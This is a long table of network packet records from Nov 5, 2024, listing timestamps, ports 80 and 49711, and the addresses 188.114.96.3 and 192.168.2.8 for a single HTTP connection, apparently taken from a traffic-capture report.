Nov 5, 2024 12:43:35.948775053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948787928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948800087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948812008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948823929 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948824883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948837996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948852062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948862076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.948864937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948864937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948875904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.948971033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.949105024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949117899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949130058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949140072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949146032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949156046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949167013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949177980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949184895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.949191093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949206114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949215889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.949218035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949232101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949242115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.949245930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949256897 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.949338913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.949450970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949461937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.949500084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.986752033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.986792088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.986804962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.986854076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.986865997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.986876965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.986877918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.986891031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.986907959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.986973047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.986973047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987003088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987015963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987054110 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987133980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987145901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987158060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987169981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987178087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987188101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987195015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987195015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987205982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987241983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987420082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987432957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987446070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987457991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987468004 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987468958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987521887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987521887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987551928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987562895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987574100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987592936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987600088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987602949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987602949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987608910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987622023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987623930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987634897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987643957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.987652063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987678051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.987690926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.988006115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.988049984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.026653051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.026670933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.026698112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.026743889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.026813984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061269999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061286926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061300039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061320066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061366081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061378002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061393976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061399937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061428070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061434031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061446905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061480045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061496973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061532021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061544895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061556101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061567068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061613083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061636925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061650038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061662912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061666012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061686039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061753035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061765909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061778069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061832905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061834097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061844110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061850071 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061897039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.061930895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061944008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.061949015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062000990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062000990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062020063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062073946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062086105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062098026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062119007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062161922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062227964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062239885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062251091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062263966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062328100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062328100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062361956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062375069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062386036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062397957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062490940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062526941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062541008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062551022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062561989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062573910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062578917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062592983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062634945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062726974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062741041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062752008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062762976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062783957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062807083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062808037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062825918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062839031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062849998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062939882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062939882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.062971115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062983036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062994003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.062999010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063009977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063020945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063033104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063046932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063065052 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063065052 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063097954 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063097954 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063146114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063218117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063229084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063240051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063251019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063260078 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063287020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063352108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063364029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063399076 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063488960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063500881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063510895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063522100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063533068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063543081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063554049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063561916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063561916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063569069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063581944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063592911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063616037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063764095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063776970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063823938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063853979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063864946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063875914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063885927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063889980 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063899994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.063919067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.063982010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.064063072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.064073086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.064083099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.064100027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.064109087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.064111948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.064126015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.064131021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.064140081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.064156055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.064168930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.091680050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.091703892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.091716051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.091763020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.091768026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.091774940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.091788054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.091810942 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.091837883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.095855951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.095873117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.095885992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.095926046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.095937967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.095946074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.095946074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.095949888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.095963001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.095973969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.095976114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096007109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096066952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096077919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096097946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096108913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096116066 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096131086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096137047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096172094 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096311092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096323013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096334934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096345901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096359015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096359015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096371889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096396923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096482038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096527100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096611977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096623898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096636057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096647024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096657991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096668959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096674919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096681118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096690893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096709013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096750021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096761942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096802950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096827984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096841097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096856117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096867085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.096874952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096887112 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.096914053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.141490936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.141516924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.141530991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.141578913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.141608953 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.176825047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.176840067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.176858902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.176870108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.176881075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.176889896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.176892042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.176944971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.176944971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.176980972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.176992893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177004099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177026987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177037001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177052975 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177072048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177122116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177130938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177141905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177150965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177159071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177175045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177189112 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177232027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177242994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177320957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177330971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177340031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177340984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177352905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177381039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177405119 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177419901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177500010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177510023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177520037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177531004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177539110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177547932 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177551985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177565098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177572012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177593946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177606106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177632093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177664995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177690029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177700996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177711010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177737951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177766085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177851915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177860975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177867889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177871943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177881956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.177901983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.177934885 CET	49711	80	192.168.2.8	188.114.96.3
